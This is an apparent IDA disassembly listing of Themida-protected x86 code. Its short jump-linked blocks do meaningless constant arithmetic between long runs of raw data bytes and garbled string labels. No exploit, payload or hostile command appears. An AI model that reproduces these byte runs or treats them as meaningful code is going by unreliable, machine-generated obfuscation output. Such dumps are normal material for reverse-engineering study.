		jmp	loc_554111
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 0D3BF5724h, 0BD0F8977h, 3E740DA9h, 3C8BFD31h, 4C48124h
		dd 81000000h, 1EDh, 44CD8100h, 0D1516045h, 74B951E5h, 815D6B3Bh
		dd 90398FF1h, 59CD29BEh, 0E91C6F21h, 263h
; ---------------------------------------------------------------------------


loc_554D34:				; CODE XREF: Themida_:00554198j
		add	esi, 4
		sub	esi, 4
		jmp	loc_55A1D0
; ---------------------------------------------------------------------------
		dw 0F681h
		dd 797F47FFh, 0FFE69DE9h, 2D6852FFh, 5A01455Bh,	0A3EA8142h
		dd 0D11C460Fh, 5094E9EAh, 34FF0000h, 50E95824h,	0F7000036h
		dd 98DB35D8h, 0C3093C1Bh, 47EB8158h, 13EF77Eh, 0A70AE9D9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554D82:				; CODE XREF: Themida_:00553A3Bj
		push	edx
		push	75DD2C87h
		pop	edx
		or	edx, 11AA38D7h
		shr	edx, 2
		xor	edx, 1D7FCF31h
		add	edi, edx
		mov	edx, [esp]
		add	esp, 4
		push	73A5h
		mov	[esp], eax
		mov	eax, 2
		sub	edi, eax
		jmp	loc_554345
; ---------------------------------------------------------------------------
		db 0BFh
		dd 42172314h, 6BE0CF81h, 0CF8123D8h, 377A3F1Ah,	7FFAF781h
		dd 0FB0177FFh, 4017E9h,	2474FF00h, 0D3E95804h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554DDF:				; CODE XREF: Themida_:00555144j
		xor	edx, 7419CDBBh
		xor	ebx, edx
		pop	edx
		add	eax, ebx
		pop	ebx
		jmp	loc_558066
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 24041958h, 9C5EE99Ch, 0C781FFFFh,	4, 2474FF57h
		dd 48F5F04h, 24248B24h,	513BE9h
		db 0
; ---------------------------------------------------------------------------


loc_554E15:				; CODE XREF: Themida_:0055700Dj
		shl	eax, cl
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 7AE7948h
		jmp	loc_55304F
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 4EB8100h, 81000000h, 4ECh, 1050E900h, 4BA0000h
		dd 1000000h, 3D1CE9D0h,	1C890000h, 515B5424h, 0FFF022E9h
		dd 9C02E9FFh, 0D829FFFFh, 242C8B5Bh, 0E904C483h, 25F2h
		dd 0FDE9F788h, 81FFFFB8h, 4C4h,	25C4E900h, 0DDE90000h
		dd 0D2FFFF9Bh, 0E99C240Ch, 0FFFF9BD4h, 0E1AAE956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554E8E:				; CODE XREF: Themida_:0054FEF5j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_558B2A
; ---------------------------------------------------------------------------
		dw 8059h
		dd 3DE9A8C3h, 59FFFFBEh, 0FFA08EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554EAD:				; CODE XREF: Themida_:0054F9FEj
		pop	eax
		add	ebx, 0D3871138h
		jmp	loc_5550B3
; ---------------------------------------------------------------------------
		db 66h,	68h, 6Ah
		dd 0C89662Eh, 0B60F6624h, 9C5166C8h, 0FF9B8FE9h, 508168FFh
		dd 14890000h, 83D8B624h, 0C8904ECh, 1C046824h, 14890000h
		dd 88EEB624h, 0B6525AF5h, 0E9DEF68Dh, 0FFFFC5D0h, 4C481h
		dd 1C330000h, 241C3124h, 8B241C33h, 24892424h, 24048124h
		dd 4, 0FF9B47E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554F15:				; CODE XREF: Themida_:00555284j
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_55B19F
; ---------------------------------------------------------------------------
		dw 30ACh
		dd 4EC81D8h, 89000000h,	2D682414h, 89000014h, 0FCB7241Ch
		dd 196DE9h, 53D98700h, 996D8FBBh, 76EB810Eh, 0E9630315h
		dd 466Bh, 0C681E689h, 4, 8704C683h, 8F5C2434h, 248B2404h
		dd 0C8BF0F24h, 60FA6856h, 24890000h, 24048324h,	3844E904h
		dd 0F5810000h, 77A41FC8h, 2F7EED81h, 0EDC14DD3h, 0A0C58105h
		dd 310F72BDh, 82E95DEFh, 8B00001Fh, 5450242Ch, 42A0E9h
		db 0
; ---------------------------------------------------------------------------


loc_554FA1:				; CODE XREF: Themida_:00550EDAj
		pop	ecx
		push	ecx
		mov	ecx, 4
		push	esi
		mov	esi, 69584FAEh
		jmp	loc_552B19
; ---------------------------------------------------------------------------
		db 4Ah
		dd 6CF7C281h, 0EA816630h, 6B5040A9h, 4AF0F281h,	0D50149B1h
		dd 0FFC791E9h, 4C381FFh, 87000000h, 8F5C241Ch, 0E95C2404h
		dd 10EBh, 527CE95Dh, 0C4810000h, 4, 0F602EAC0h,	0DEC280DAh
		dd 8016E280h, 0C2802CE2h, 361EE9C8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555002:				; CODE XREF: Themida_:00554017j
		pop	ecx
		add	edx, 0F3A1DB0Dh
		and	eax, edx
		mov	edx, [esp]
		push	esi
		push	3ECBh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	eax
		mov	eax, 26B5799Eh
		push	eax
		jmp	loc_55AC80
; ---------------------------------------------------------------------------


loc_555028:				; CODE XREF: Themida_:00551159j
		shr	ebx, 7
		shr	ebx, 3
		add	ebx, 428F0AEBh
		and	ebx, 76DD0700h
		not	ebx
		sub	ebx, 5D5AEE7Eh
		sub	eax, ebx
		pop	ebx
		jmp	loc_55B06B
; ---------------------------------------------------------------------------
		dw 0C380h
		dd 0C0B60F00h, 87048F66h, 0FF9A03E9h, 0EC8157FFh, 4, 81242489h
		dd 42404h, 815F0000h, 4C7h, 4EF8300h, 4EC81h, 3C890000h
		dd 2474FF24h, 6AE904h, 0DDF70000h, 2D20BF57h, 0CF813D13h
		dd 78A17780h, 4CDCE947h, 0F5810000h, 3DCA05F3h,	0CD81D5F7h
		dd 61C43316h, 2834ED81h, 23E9190Fh
		db 44h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5550B3:				; CODE XREF: Themida_:00554EB4j
		mov	eax, ebx
		pop	ebx
		push	ecx
		mov	ecx, 7E1C251Bh
		add	eax, ecx
		pop	ecx
		push	2FD9h
		mov	[esp], edx
		mov	edx, 0A70FA2F8h
		jmp	loc_553FB6
; ---------------------------------------------------------------------------


loc_5550D1:				; CODE XREF: Themida_:005594D1j
		add	ebp, eax
		pop	eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		push	eax
		jmp	loc_558313
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFFD225h, 240C8B66h, 4EC81h, 3C890000h
		dd 5B13E924h, 5590000h,	24EF4C01h, 57242C8Bh, 0C781E789h
		dd 4, 4BB53h, 0DF010000h, 74FF575Bh, 8F5F0424h,	46E92404h
		db 46h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555133:				; CODE XREF: Themida_:0055933Ej
		sub	edx, 3E1C3DAFh
		sub	edx, 5057EEDh
		not	edx
		dec	edx
		shr	edx, 1
		jmp	loc_554DDF
; ---------------------------------------------------------------------------
		db 0BFh, 4, 0
		dd 7C010000h, 585F0424h, 2B6A68h, 243C8900h, 0FFAEEBE9h
		dd 25E981FFh, 51B71A09h, 87243481h, 5B73C803h, 387F381h
		dd 0BF5973C8h, 0C6487BA6h, 15BDF29h, 0D8015FF8h, 93B85057h
		dd 2D1A6553h, 0A012DEC8h, 5046E953h, 0C5800000h, 0AB91E98Bh
		dd 0E089FFFFh, 0FFA80AE9h, 16E951FFh
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5551AB:				; CODE XREF: Themida_:00555969j
		xchg	ebp, [esp]
		pop	esp
		xchg	eax, [esp]
		mov	esp, [esp]
		imul	ecx
		push	41B3h
		mov	[esp], ebp
		push	esp
		pop	ebp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		add	ebp, eax
		jmp	loc_550F7E
; ---------------------------------------------------------------------------
		db 83h
		dd 0ED8104C4h, 635533BEh, 0C581CD01h, 635533BEh, 242C8759h
		dd 0FFB97BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5551ED:				; CODE XREF: Themida_:00556AC2j
		pop	edi
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		jmp	loc_557F26
; ---------------------------------------------------------------------------


loc_55520C:				; CODE XREF: Themida_:005552A2j
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_553569
; ---------------------------------------------------------------------------
		db 1
		dd 6BE959CBh, 5A000019h, 31243433h, 72E92434h, 5BFFFFF1h
		dd 835EF501h, 7CE904C5h, 66000048h, 0CBD1E958h,	835BFFFFh
		dd 0BDE902C5h, 0D1FFFFD5h, 34BD55EAh, 0C17CFE72h, 0D5F706EDh
		dd 4D03EDC1h, 37E9DDF7h, 89FFFFDAh, 0EDE92404h,	81FFFFAEh
		dd 6E3539EBh, 0E9038848h, 3C1Bh
; ---------------------------------------------------------------------------


loc_555274:				; CODE XREF: Themida_:0055302Bj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_554F15
; ---------------------------------------------------------------------------


loc_555289:				; CODE XREF: Themida_:00556778j
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		jmp	loc_55520C
; ---------------------------------------------------------------------------


loc_5552A7:				; CODE XREF: Themida_:00553143j
		mov	edi, ebx
		pop	ebx
		sub	[esp+4], edi
		jmp	loc_5584D2
; ---------------------------------------------------------------------------
		db 68h
		dd 3AA93093h, 0D1F74159h, 15CDBF57h, 0C7810A1Eh, 0FFFFFFFFh
		dd 0A04DEF81h, 0F921CCACh, 326FE95Fh, 0EC810000h, 4, 0FFFA15E9h
		dd 81E689FFh, 4ECh, 24048900h, 4B8h, 58C60100h,	72E95157h
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5552FB:				; CODE XREF: Themida_:00556C01j
		mov	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, 37A5C9A6h
		push	4162h
		mov	[esp], esi
		pop	edx
		jmp	loc_551D4A
; ---------------------------------------------------------------------------


loc_555317:				; CODE XREF: Themida_:00556065j
		sub	eax, 7A51ADFh
		xor	eax, 8D9D221Ah
		add	edi, eax
		jmp	loc_55293B
; ---------------------------------------------------------------------------
		dd 0A005D0F7h, 2D5ACF02h, 6F8DF9CEh, 0E958C131h, 2AD2h
		dd 24048B66h, 685D5455h, 68CDh,	5A4E9h,	0E9F92900h, 5703h
		dd 83241C8Bh, 0EA3104C4h, 83242C8Bh, 0B95104C4h, 41485273h
		dd 3D92F181h, 0D9F7204Ah, 4194BA52h, 0C2810D73h, 2A20EF79h
		dd 0FFEAD6E9h, 4EF187FFh, 16A46851h, 2BE90000h,	29FFFFA9h
		dd 0CB015AD1h, 0D0A6E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55539A:				; CODE XREF: Themida_:0054F8D4j
		push	edx
		xor	dword ptr [esp], 7C3B0BFBh
		pop	ecx
		xor	ecx, 7C3B0BFBh
		mov	[edi+20h], ecx
		mov	ecx, [esp]
		jmp	loc_558E46
; ---------------------------------------------------------------------------
		dd 0D37E1CBAh, 0DCE2810Fh, 0C128611Ch, 0EAC103E2h, 9DB85006h
		dd 351ECD33h, 89E61A0h,	2503E8C1h, 39D61AFDh, 0B9E6C82Dh
		dd 58C231FFh, 0FFEC15E9h, 81D3F7FFh, 0D9BDC8EBh, 0E28DE9E9h
		dd 0C483FFFFh, 0DD72E904h, 0C483FFFFh, 0A840E904h, 0F888FFFFh
		dd 5358C188h, 0DC88CB88h, 0E588595Bh, 5124048Bh, 0C181E189h
		dd 4, 0FFB524E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_555421:				; CODE XREF: Themida_:0054F4A0j
		push	70C2396h
		pop	ebx
		or	ebx, 5CD702EAh
		xor	ebx, 398817BBh
		mov	eax, ebx
		pop	ebx
		and	ebx, eax
		jmp	loc_5541DB
; ---------------------------------------------------------------------------
a31Sp?		db '3,$1,$ép?',0
		align 4
		dd 45A26851h, 0E95951D9h, 0FFFFAC95h
; ---------------------------------------------------------------------------


loc_555454:				; CODE XREF: Themida_:00554937j
		pop	esp
		mov	[esp], esi
		mov	esi, 10B61F0Fh
		jmp	loc_54EC12
; ---------------------------------------------------------------------------


loc_555462:				; CODE XREF: Themida_:00557FFFj
		mov	[esp], ebx
		jmp	loc_559748
; ---------------------------------------------------------------------------
		dw 5A5Eh
		dd 2B98EA81h, 0C201172Bh, 0F8D3E955h, 0F281FFFFh, 46394161h
		dd 720ACA81h, 0CA8155F3h, 36406DCEh, 65D3F281h,	0E281503Dh
		dd 61B706E5h, 0FE00C281h, 9E9DE79h, 87000043h, 665C2414h
		dd 9C240CFFh, 0FF95ABE9h, 5AC781FFh, 812FF62Fh,	0D54ABBEFh
		dd 5FFB01A7h, 16C2B850h, 71E90FDFh
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5554CB:				; CODE XREF: Themida_:0055699Cj
		mov	ecx, 0E6A08CD0h
		xor	ebx, ecx
		jmp	loc_55596E
; ---------------------------------------------------------------------------
		db 0B8h
		dd 55394D61h, 48BC131h,	4C48324h, 8301C183h, 0C181FFE9h
		dd 47696D8Eh, 185FE9h
		db 0
; ---------------------------------------------------------------------------


loc_5554F5:				; CODE XREF: Themida_:005562B4j
		add	ebp, edi
		jmp	loc_554C0D
; ---------------------------------------------------------------------------
		dd 405E089h, 0E9000000h, 0FFFFB03Ch, 8704ED83h,	895C242Ch
		dd 3D68241Ch, 8900002Ch, 4812424h, 424h, 0C3815B00h, 4
		dd 4C381h, 1C870000h, 89515C24h, 181468E1h, 3C890000h
		dd 1851BF24h, 83576692h, 0E9FF242Ch, 5A78h, 23F0ED81h
		dd 0EB891DD1h, 5BD8895Dh, 0E906E0C1h, 2B75h, 24048F5Ch
		dd 6624248Bh, 2404B30Fh, 4020E99Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555572:				; CODE XREF: Themida_:0054FD5Dj
		push	ebp
		mov	ebp, 2DE97F35h
		push	ecx
		mov	ecx, 726B51C8h
		not	ecx
		and	ecx, 3694196Dh
		shl	ecx, 6
		or	ecx, 46CD3660h
		xor	ecx, 4DBE6FE2h
		and	ebp, ecx
		jmp	loc_552B03
; ---------------------------------------------------------------------------
aQishx		db 'Q‰áhx~',0
		align 4
		dd 0E9242C89h, 0FFFFF1ADh
; ---------------------------------------------------------------------------


loc_5555AC:				; CODE XREF: Themida_:00550D55j
		mov	ebx, [esp]
		jmp	loc_559D0B
; ---------------------------------------------------------------------------


loc_5555B4:				; CODE XREF: Themida_:00550E80j
		shl	edx, 1
		push	eax
		mov	eax, 24h
		jmp	loc_55918E
; ---------------------------------------------------------------------------
aVAtq_UBM2BnsO	db 'V¾atï.Áî',7,'ÆM2ºbNé×O',0
		align 2
		dw 0E2C1h
		dd 0F7D2F706h, 0E0F281DAh, 8150B776h, 421763C2h, 5AD601EEh
		dd 0E6685655h, 5E7B1455h, 0C103EEC1h, 0EE8102EEh, 3D8A2ABh
		dd 815EF589h, 0E812A3EEh, 0FC68179h, 1286F68h, 0FEE81EEh
		dd 51286F68h, 0E812A3B9h, 0E9CE0179h, 741h, 0E912B252h
		dd 4DBh, 55EF701h, 4D100565h, 652DF801h, 5F4D1005h, 8702C083h
		dd 248B2404h, 0E7895724h, 4C781h, 0EF810000h, 4, 5C243C87h
		dd 88240C89h, 0EC8352D1h, 24048904h, 0C688C888h, 8324048Bh
		dd 748804C4h, 0FF5A0187h, 53592434h, 0FFA12BE9h, 0E9A2B6FFh
		dd 4AEFh, 519DE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55568A:				; CODE XREF: Themida_:0055B041j
		xor	ch, 0Ah
		not	ch
		push	2EB3h
		mov	[esp], ebx
		mov	bl, 30h
		and	ch, bl
		jmp	loc_559A9A
; ---------------------------------------------------------------------------
		dd 240CD35Ch, 93B2E99Ch, 0D521FFFFh, 0F9D4E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5556B2:				; CODE XREF: Themida_:00550748j
		add	dword ptr [esp], 4
		pop	esi
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 1AA96D68h
		jmp	loc_55A6FC
; ---------------------------------------------------------------------------
		db 5
		dd 1B98EB98h, 158C389h,	18E95BDEh
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5556D7:				; CODE XREF: Themida_:0055AFB0j
		mov	ebp, [esp]
		jmp	loc_553FE2
; ---------------------------------------------------------------------------
		db 5Dh
		dd 5C24048Fh, 6BD3BE56h, 0BCE969A1h
		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5556EF:				; CODE XREF: Themida_:00551C06j
		pop	ecx
		sub	esp, 4
		mov	[esp], edi
		push	esp
		jmp	loc_54FE7A
; ---------------------------------------------------------------------------


loc_5556FF:				; CODE XREF: Themida_:00550EF2j
		mov	esi, 21FC2D34h
		push	ebx
		mov	ebx, 60BB06F8h
		and	ebx, 44886BEBh
		or	ebx, 646C0B6Ch
		neg	ebx
		add	ebx, 1419292Fh
		xor	ebx, 9E5E0925h
		and	esi, ebx
		pop	ebx
		push	ebx
		mov	ebx, 28077632h
		or	esi, ebx
		jmp	loc_55A80A
; ---------------------------------------------------------------------------


loc_555734:				; CODE XREF: Themida_:0055A3D4j
		pop	ecx
		add	bl, 61h
		add	bl, al
		sub	bl, 61h
		push	dx
		mov	dh, 0CEh
		sub	bl, dh
		pop	dx
		push	eax
		mov	al, 0CAh
		jmp	loc_559AAA
; ---------------------------------------------------------------------------


loc_55574D:				; CODE XREF: Themida_:0054FFEFj
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_554705
; ---------------------------------------------------------------------------
		dd 8B241433h, 0F0E92424h, 0B8000019h, 4, 4244401h, 3B0CE9h
		dd 65656800h, 2D584258h, 3114F67Eh, 8158C389h, 927ED5E3h
		dd 0F3814362h, 75E025ABh, 3692E9h, 0F6814E00h, 0D785CF0h
		dd 2D93E9h, 0C7E95300h
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5557A7:				; CODE XREF: Themida_:00558E39j
		sub	esp, 4
		mov	[esp], ebp
		push	129E6510h
		mov	ebp, [esp]
		add	esp, 4
		xor	eax, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], ecx
		push	edi
		mov	edi, 3FE05F00h
		add	edi, 170A17D0h
		mov	ecx, edi
		pop	edi
		push	edx
		mov	edx, 0FC95B33h
		push	ebp
		jmp	loc_55AC40
; ---------------------------------------------------------------------------
		db 0FEh
		dd 1BC180C9h, 0FE6DE180h, 63C180C1h, 12E9CE00h,	0ADFFFFA0h
		dd 81E78957h, 4ECh, 24048900h, 4B8h, 58C70100h,	4EF81h
		dd 3C870000h, 0A9D4E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555816:				; CODE XREF: Themida_:00555ED1j
		sub	eax, 4B081557h
		add	eax, esi
		jmp	loc_552950
; ---------------------------------------------------------------------------


loc_555822:				; CODE XREF: Themida_:00557F7Cj
		sub	esi, 42FB5A2Ch
		add	ecx, esi
		pop	esi
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	eax
		sub	esp, 4
		jmp	loc_54F2A7
; ---------------------------------------------------------------------------
		db 66h
		dd 53C9FE58h, 8862B252h, 9C8BE9D7h, 2489FFFFh, 24048324h
		dd 0EC835804h, 24348904h, 4B951h, 0CE890000h, 5EF00159h
		dd 8704C083h, 815C2404h, 4C6h, 2C68100h, 33000000h, 34312434h
		dd 24343324h, 0FFFE1BE9h, 348B59FFh, 4C48324h, 8758C729h
		dd 248B243Ch, 240C8924h, 43FFE9h
		db 0
; ---------------------------------------------------------------------------


loc_55589D:				; CODE XREF: Themida_:00555EF1j
		push	edi
		mov	edi, 400925FDh
		dec	edi
		neg	edi
		shl	edi, 8
		jmp	loc_558AF4
; ---------------------------------------------------------------------------
aAAso?		db '€êéo?',0
		align 2
		dw 0E950h
		dd 0FFFFC5FBh
; ---------------------------------------------------------------------------


loc_5558BC:				; CODE XREF: Themida_:005519A8j
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		jmp	loc_552312
; ---------------------------------------------------------------------------


loc_5558D9:				; CODE XREF: Themida_:005596F9j
		push	dword ptr [esp]
		jmp	loc_55AE9E
; ---------------------------------------------------------------------------


loc_5558E1:				; CODE XREF: Themida_:00558B06j
		pop	esp
		xchg	ebx, [esp]
		mov	esp, [esp]
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_54EA5C
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 4BBh, 8BDD0100h, 8951241Ch, 4C181E1h, 57000000h, 512C78BFh
		dd 6E7C127h, 0C781D7F7h, 0D44B1E05h, 31E9F901h
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55591F:				; CODE XREF: Themida_:00556282j
		add	edx, 376520B4h
		add	edx, ebp
		sub	edx, 376520B4h
		pop	ebp
		xchg	edx, [esp]
		pop	esp
		push	1EFFh
		mov	[esp], ebp
		push	1000h
		push	dword ptr [esp]
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_55A659
; ---------------------------------------------------------------------------


loc_55595D:				; CODE XREF: Themida_:005524DFj
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5551AB
; ---------------------------------------------------------------------------


loc_55596E:				; CODE XREF: Themida_:005554D2j
		pop	ecx
		jmp	loc_5519D2
; ---------------------------------------------------------------------------


loc_555974:				; CODE XREF: Themida_:005589ADj
		add	dword ptr [esp], 4D686BAEh
		pop	edi
		sub	edi, 4D686BAEh
		mov	esi, [esp]
		jmp	loc_5580B6
; ---------------------------------------------------------------------------
		dw 0CDE9h
		dd 29FFFF90h, 24348BF0h, 7EE95452h, 5DFFFFA9h, 4D13E9h
		dd 50F58100h, 8B013A23h, 0C483243Ch, 0ED814504h, 0F38C4F5Fh
		dd 2F65E9h, 95BF5700h, 292BA700h, 243C8BFAh, 104C483h
		dd 96B8E9C2h, 85BBFFFFh, 29EE106Bh, 3B51E9D9h, 0B8500000h
		dd 4, 0FFCAEFE9h, 0F02958FFh, 1FC6685Eh, 89E90000h, 51000042h
		dd 880A63B9h, 4AE18117h, 0C12CCE09h, 0E9C108E9h, 0E9814106h
		dd 121Dh, 79E9C801h, 5CFFFFC6h,	0E9240431h, 0FFFF9040h
		dd 78E95358h, 89000045h, 4BD242Ch, 50000000h, 796226B8h
		dd 8BC10160h, 0C4832404h, 1FC1E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555A3E:				; CODE XREF: Themida_:0055AA93j
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	eax
		jmp	loc_559412
; ---------------------------------------------------------------------------
		db 80h
		dd 0EE00EDEEh, 0E9EDC680h, 35FAh
; ---------------------------------------------------------------------------


loc_555A70:				; CODE XREF: Themida_:00557050j
		pop	esp
		xor	bx, ax
		movzx	eax, ax
		jmp	loc_559DCE
; ---------------------------------------------------------------------------
		dd 875BDD29h, 895C242Ch, 0E2892414h, 4C281h, 8CE90000h
		dd 53FFFFA0h, 0CF063CBBh, 5BDF8953h, 536C22BAh,	5FFA01B3h
		dd 29F6C281h, 0BD55072Eh, 0F1B24C61h, 0E95DEA29h, 0FFFF9326h
		dd 24048B66h, 0FFF598E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_555AC1:				; CODE XREF: Themida_:005502F5j
		push	esp
		pop	edi
		push	ebp
		mov	ebp, 7A3602A0h
		jmp	loc_55283F
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 2, 5158C101h, 42474FFh, 24048F59h, 6424248Bh, 0E9028966h
		dd 0FFFF8F70h
; ---------------------------------------------------------------------------


loc_555AEC:				; CODE XREF: Themida_:00550719j
		mov	edi, 7B6F2B75h
		or	ecx, edi
		pop	edi
		push	esi
		mov	esi, 7F7F6775h
		sub	ecx, esi
		jmp	loc_559BC0
; ---------------------------------------------------------------------------


loc_555B01:				; CODE XREF: Themida_:005504C2j
		pop	edx
		jmp	loc_5514F5
; ---------------------------------------------------------------------------
		db 0FEh
		dd 51CAFECAh, 0EDC095B5h, 0A8ED8008h, 9BED80h, 0D18859EAh
		dd 45E9535Ah
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555B23:				; CODE XREF: Themida_:00556D4Fj
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]


loc_555B2F:				; CODE XREF: Themida_:00551BFAj
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5574C5
; ---------------------------------------------------------------------------
		db 87h
		dd 20E9240Ch, 100001Fh,	0EB815EF3h, 6DE947CEh, 21F38159h
		dd 2D138EB4h, 408E1959h, 0B951D829h, 408E1959h,	5B59C801h
		dd 1365E9h, 242C3300h, 0F1F7665Ch, 0FFBD3AE9h, 0C8B66FFh
		dd 8B545224h, 3EE92414h
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555B8F:				; CODE XREF: Themida_:00553203j
		mov	dh, 32h
		mov	al, dh
		pop	edx
		add	al, 85h
		mov	dl, al
		jmp	loc_5549B0
; ---------------------------------------------------------------------------
		db 1, 0F2h, 0E9h
		dd 0FFFFE7C3h, 48BC601h, 4C48324h, 8B243487h, 0A5E92424h
		dd 5CFFFF8Eh, 0E9240489h, 0FFFF8E9Ch
; ---------------------------------------------------------------------------


loc_555BC0:				; CODE XREF: Themida_:00555E89j
		pop	esi
		jmp	loc_550B32
; ---------------------------------------------------------------------------


loc_555BC6:				; CODE XREF: Themida_:005531C3j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_54F8D9
; ---------------------------------------------------------------------------


loc_555BD2:				; CODE XREF: Themida_:00556EA6j
		add	edx, 0FF591BD9h
		add	ebp, edx
		pop	edx
		mov	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		and	ecx, eax
		pop	eax
		shr	ecx, 0Bh
		jmp	loc_55A269
; ---------------------------------------------------------------------------
		dw 48Fh
aS@		db '$é@%',0
		align 2


loc_555BF6:				; CODE XREF: Themida_:00557B38j
		mov	[esp], edi
		mov	edi, 4
		and	ecx, edi
		jmp	loc_55359B
; ---------------------------------------------------------------------------
		db 29h,	3Ch, 24h
		dd 0FEBB535Fh, 0E9F42E90h, 0FFFFA0F8h, 0DDF6E4B5h, 0E5C0DDF6h
		dd 93C58006h, 80D6ED80h, 51E978EDh
		db 55h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555C2B:				; CODE XREF: Themida_:005518EDj
		mov	[esp], ebp
		push	edi
		mov	edi, 244A0CDFh
		push	ecx
		mov	ecx, 229A3858h
		shr	ecx, 3
		jmp	loc_556816
; ---------------------------------------------------------------------------
		dw 2D66h
		dd 166FFE0h, 28BAE9C7h,	0E9580000h, 4871h, 5C242C87h, 75685155h
		dd 8B5A8941h, 0C481240Ch, 4, 79C468h, 240C8900h, 592414F7h
		dd 0E9814949h, 75F88970h, 5559CD89h, 0FF242C83h, 0C1DDF75Dh
		dd 0DDF704E5h, 48F4E955h, 248B0000h, 16E95124h,	81FFFFC6h
		dd 0CA6651C6h, 57EE812Ah, 16EED2Fh, 57C681DEh, 816EED2Fh
		dd 0CA6651EEh, 0EC835B2Ah, 24148904h, 0FF999AE9h, 4BB53FFh
		dd 0E9000000h, 1C28h, 8904EC83h, 89522404h, 4C281E2h, 81000000h
		dd 4EAh, 24148700h, 2424895Ch, 4240481h, 0FF000000h, 57582434h
		dd 0C781E789h, 4, 3BEEE9h
		db 0
; ---------------------------------------------------------------------------


loc_555D01:				; CODE XREF: Themida_:005570ACj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_55751E
; ---------------------------------------------------------------------------
aBSAq		db 'Ƙ!ÂAQ¹',0
		dd 29000000h, 8BCE87F1h, 3EE9240Ch, 5DFFFFC3h, 8B243487h
		dd 0C4812424h, 4, 8B2434FFh, 8956240Ch,	4C681E6h, 81000000h
		dd 4C6h, 31C6E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555D52:				; CODE XREF: Themida_:0055A3AFj
		mov	esp, [esp]
		shr	eax, 8
		jmp	loc_551B6B
; ---------------------------------------------------------------------------


loc_555D5D:				; CODE XREF: Themida_:0054EA84j
		mov	[esp], ecx
		jmp	loc_55A74A
; ---------------------------------------------------------------------------
		db 59h,	0E9h, 0C0h
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555D6B:				; CODE XREF: Themida_:0055843Dj
		mov	ebx, esp
		jmp	loc_5535F3
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0FF9728E9h, 18FB9FFh, 0DDE97B6Bh,	81000014h, 179292F5h
		dd 5DEA29D2h, 0FFDE10E9h, 0ED805AFFh, 0E9E8289Bh, 0FFFFC8D4h
